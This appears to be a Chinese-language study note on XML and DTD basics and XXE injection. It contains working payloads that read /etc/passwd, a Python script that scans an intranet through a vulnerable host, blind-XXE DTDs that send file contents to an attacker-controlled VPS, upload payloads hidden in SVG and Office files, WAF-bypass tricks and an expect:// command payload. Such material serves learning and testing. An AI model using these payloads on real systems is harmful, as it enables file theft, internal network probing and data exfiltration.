xml
XML是一种用于存储和传输数据 的语言。与HTML一样,XML使用树状的标签和数据结构。与HTML不同的是XML不使用预定义标签而是使用自定义的标签,因此可以为标签指定描述数据的名称。
类似json传输???
XML基本格式与基本语法
基本格式:
xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。
XML的文档结构包含XML声明、DTD文档类型定义、文档元素
DTD文件类型定义
定义xml文档的结构和合法元素属性
xml
<!--定义文档的根元素是test-->
<!DOCTYPE test
[
<!--定义test元素必须包含以下元素:"name、age、direction"-->
<!ELEMENT test (name,age,direction)>
<!--将name元素定义为"#PCDATA"类型-->
<!--#PCDATA表示可解析字符数据-->
<!ELEMENT name (#PCDATA)>
<!--将age元素定义为"#PCDATA"类型-->
<!ELEMENT age (#PCDATA)>
<!--将direction元素定义为"#PCDATA"类型-->
<!ELEMENT direction (#PCDATA)>
]>
DTD可以在XML文档内部声明,也可以外部引用。
xml
<!--内部声明DTD-->
<!DOCTYPE 根元素 [元素声明]>
<!--外部引用DTD-->
<!DOCTYPE 根元素 SYSTEM "文件名">
<!--外部引用公共DTD-->
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
注意:
SYSTEM的作用是告诉解析器,后面跟的是一个系统路径/URL,让 XML 解析器去加载这个外部文件
XML实体
标准实体
作用:
XML的五种标准实体:
'是一个撇号:'
&是一个与字符:&
"是一个引号:"
<是一个小于号:<
>是一个大于号:>
当这五个元字符 出现在数据中时,通常必须使用它们的实体来表示。
自定义实体
XML 允许在 DTD 中定义自定义实体(有点像自定义变量哈)。
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY Yv "Yv_30">
]>
<test>
<message>&Yv;</message>
</test>
<!DOCTYPE test [ <!ENTITY Yv "Yv_30"> ]>
定义一个名为Yv的实体
<test> <message>&Yv;</message> </test>
引用名为Yv的实体

XXE注入
XXE文件读取
基本思路:
1.找到注入点
2.找到回显位置
xml
#file协议
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY Yv SYSTEM "file:///etc/passwd">]>
<test>&Yv;</test>
#PHP伪协议
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY Yv SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<test>&Yv;</test>
| 环境 | 支持的典型协议 | 备注 |
|---|---|---|
| PHP (libxml2) | file://, http://, ftp://, php://filter, php://input, data:// |
php:// 系列是 PHP 特有的扩展。 |
| Java (Xerces/JDK) | file://, http://, https://, ftp://, jar://, netdoc:// |
jar:// 可用于临时文件落地。 |
| .NET | file://, http://, https://, ftp:// |
支持 UNC 路径(\\server\share),但不支持 smb://。 |
| Python (lxml/defusedxml) | file://, http://, ftp:// |
lxml 底层是 libxml2,与 PHP 类似,但没有 php:// wrapper。 |
XXE执行SSRF攻击
原理:通过利用远程引用外部实体
HTTP内网主机探测
内网扫描脚本
逻辑:
py
import requests
import base64
import re
def build_xml(uri):
xml = f'''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE test [
<!ENTITY Yv SYSTEM "{uri}">
]>
<xml>
<stuff>&Yv;</stuff>
</xml>'''
return xml
def send_xml(uri):
headers = {'Content-Type': 'application/xml'}
try:
r = requests.post(
#被攻击者地址(即跳板)
'http://34.200.157.128/xxe.php',
data=build_xml(uri),
headers=headers,
timeout=3
)
# 用正则提取 Base64:至少 20 个字符,标准 Base64 字符集
b64_list = re.findall(r'[A-Za-z0-9+/=]{20,}', r.text)
for b64 in b64_list:
try:
decoded = base64.b64decode(b64).decode('utf-8', errors='ignore')
if '<html' in decoded or '<!DOCTYPE' in decoded:
print(f"[+] {uri} -> 发现内网Web页面")
print(decoded[:500]) # 只打印前500字符
return
except:
continue
print(f"[-] {uri} -> 无有效回显")
except Exception as e:
print(f"[x] {uri} -> 异常: {e}")
# 扫描内网 10.0.0.1-254 的 80 和 8080 端口
for i in range(1, 255):
for port in [80, 8080, 8000]:
ip = f'10.0.0.{i}'
uri = f'php://filter/convert.base64-encode/resource=http://{ip}:{port}/'
send_xml(uri)
HTTP内网主机端口扫描
xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://x.x.x.x:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
用bp抓包,爆破端口。通过响应的时间的长短判断该该端口是否开放的。(读取文件需要时间)
为什么是端口 515 ?
515 是经典 LPD(Line Printer Daemon) 打印服务端口。
Blind XXE(无回显XXE)
原理:
开放远程服务器(你可控的服务器)的端口,根据payload执行远程包含,远程包含远程服务器的dtd文件,根据dtd规则返回内容存入get参数(可以直接接到url里面),用含有get参数的url访问远程服务器,监听得到所需信息。
过程:
在自己的vps上创建一个shell.dtd,并且开放2201端口
xml
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:2201/?flag=%file ;'>">
%int;
%send;
注意这里的%非常重要,保证第一次解析不被当作%,引用%int;后第二次正常当作%解析,定义send参数实体
上传payload:
xml
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://<VPS_IP>:2201/shell.dtd">
%remote;
]>
注意:
普通实体:&实体名; --- 在XML文档内容中使用
参数实体:%实体名; --- 只能在DTD中使用,用于拼接DTD内容
| 目标类型 | 可达性 | 典型Payload示例 | 前提条件 |
|---|---|---|---|
| 公网/外网 | ✅ 100%可达 | http://attacker.com:2201/shell.dtd |
目标服务器允许出站HTTP |
| 域名地址 | ✅ 可达 | http://vps.yourdomain.com/shell.dtd |
DNS解析正常,出站未禁 |
| 内网地址 | ✅ 通常可达 | http://192.168.1.100/shell.dtd |
目标服务器位于该内网 |
| 局域网/同WiFi | ✅ 可达 | http://10.0.0.5/shell.dtd |
目标与你在同一二层/三层网络 |
| 本地回环 | ✅ 可达 | http://127.0.0.1:8080/shell.dtd |
目标本机有监听服务 |
| 其他内网网段 | ✅ 可探测 | http://10.0.0.1/shell.dtd |
目标服务器能路由到该网段 |
XInclude XXE()
原理:
很多应用为了防御 XXE,会禁用 DOCTYPE 解析(如 libxml_disable_entity_loader(true) 或设置 FEATURE_DISALLOW_DOCTYPE_DECL)。
此时标准 XXE 完全失效------因为没有 DOCTYPE,就无法声明外部实体。
但 XInclude 是独立的 XML 处理步骤,不依赖 DOCTYPE,因此成为绕过 DOCTYPE 禁用的利器。
攻击过程:
攻击者构造含 XInclude 的 XML
目标应用接收 XML(如 SVG 上传、API 请求、配置导入)
XML 解析器处理文档(DOCTYPE 被禁用,标准 XXE 无效)
XInclude 处理器独立运行,解析 xi:include 标签
href="file:///flag" → 读取本地敏感文件
文件内容被嵌入到 XML 响应中(有回显)或通过报错泄露(无回显)
注意:
href 支持 file/http/ftp 等
payload:
xml
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
文件上传 XXE
关键认知:
很多看似"非 XML"的文件格式,底层本质是 ZIP + XML,或者本身就是 XML 文本 。
比如办公文档格式(如DOCX)和图像格式(如 SVG)
.docx后缀的文件直接改为.zip后缀可以直接解压


当服务器接收这些文件后,往往会进行解析处理:
提取文件元数据(标题、作者、尺寸)
生成缩略图/预览(SVG 转 PNG、Office 转 PDF)
内容检索与索引(提取文本内容)
格式校验与清洗
这些操作都会调用 XML 解析器,如果解析器配置不当,就会触发 XXE。
| 文件类型 | 底层格式 | 解析场景 | XXE 利用难度 |
|---|---|---|---|
| SVG | 纯 XML | 头像/图片预览、缩略图生成 | 极易 |
| DOCX | ZIP + XML | 文档预览、内容提取、转 PDF | 容易 |
| XLSX | ZIP + XML | Excel 导入、数据解析 | 容易 |
| PPTX | ZIP + XML | PPT 预览、缩略图 | 容易 |
| ODT/ODS | ZIP + XML | OpenOffice 文档处理 | 容易 |
| 可含 XFA/XML | 表单解析、元数据提取 | 中等 | |
| RSS/Atom | 纯 XML | RSS 聚合、Feed 导入 | 极易 |
| XML 配置 | 纯 XML | 配置导入、数据迁移 | 极易 |
SVG文件上传
SVG 文件广泛应用于设计
SVG文件的根元素是
,用于定义图形的宽度、高度和视图框。
常见payload:
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY Yv SYSTEM "要读取的文件路径" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&Yv;</text>
</svg>
办公文档上传(DOCX / XLSX / PPTX)
读取原理:https://developer.aliyun.com/article/1321316
读取word内容
用.xlsx文件演示

在文件中的[Content-Types].xml中写入测试payload:
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY Yv SYSTEM "http://<VPS_IP>:2201/" >]>
<test>&Yv;</test>
在自己vps开启监听端口2201,然后上传excel文件,如果接收到请求了说明存在漏洞。
接着在[Content-Types].xml写入Blind XXE的payload再次上传,就可以在vps上看到执行的payload了。
修改POST上传内容类型 XXE
表单格式 test=Yv
XML 格式 Yv
两个数据结构里,核心数据单元都是 test 节点 / 参数 + 值 Yv。后端如果强制用 XML 解析器去解析所有请求体:
碰到表单字符串:容错 / 兼容解析,提取到 test=Yv
碰到标准 XML:正常解析节点,拿到同样内容
如果没有验证Content-Type则最终处理逻辑完全相同,响应就会一模一样。
POST / HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
test=Yv
POST / HTTP/1.0
Content-Type: text/xml
Content-Length: 53
<?xml version="1.0" encoding="UTF-8"?><test>Yv</test>
XXE攻击的绕过
空格绕过
原理:XML 允许<?xml、<!DOCTYPE中插入任意空白,部分 WAF 只检查头部短特征,超长空格可冲散特征串
示例:
xml
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<test>&xxe;</test>
链接到未知实体
比较成熟的WAF设置通常不会读取链接文件的内容。这种策略通常是有意义的,否则,WAF本身也可能成为攻击的目标。问题是,外部资源的链接不仅可以存在于文档的第三部分(正文),还可以存在于声明<! DOCTYPE>中 。
这意味着未读取文件内容的WAF将不会读取文档中实体的声明。而指向未知实体的链接又会阻止XML解析器导致错误。
xml
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % load SYSTEM "http://attacker/mal.dtd">
%load;
]>
<test>&attack;</test>
外来编码(Exotic encodings)
除了前面提到的xml文档的三个部分之外,还有位于它们之上的第四个部分,它们控制文档的编码(例如<?xml?>)------文档的第一个字节带有可选的BOM(字节顺序标记)。
更多信息:https://www.w3.org/TR/xml/#sec-guessing
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。
双重实体编码绕过
payload:
xml
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY % xml "<!ENTITY tglu SYSTEM "file:///etc/passwd" >]> <test>       <message>&tglu;</message> </test>">
%xml;
执行系统命令
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
<?xml version="1.0" encoding="utf-8"?> <!ENTITY xxe SYSTEM "expect://id" >]> &xxe; 通过XXE可以实现RCE的实例很少。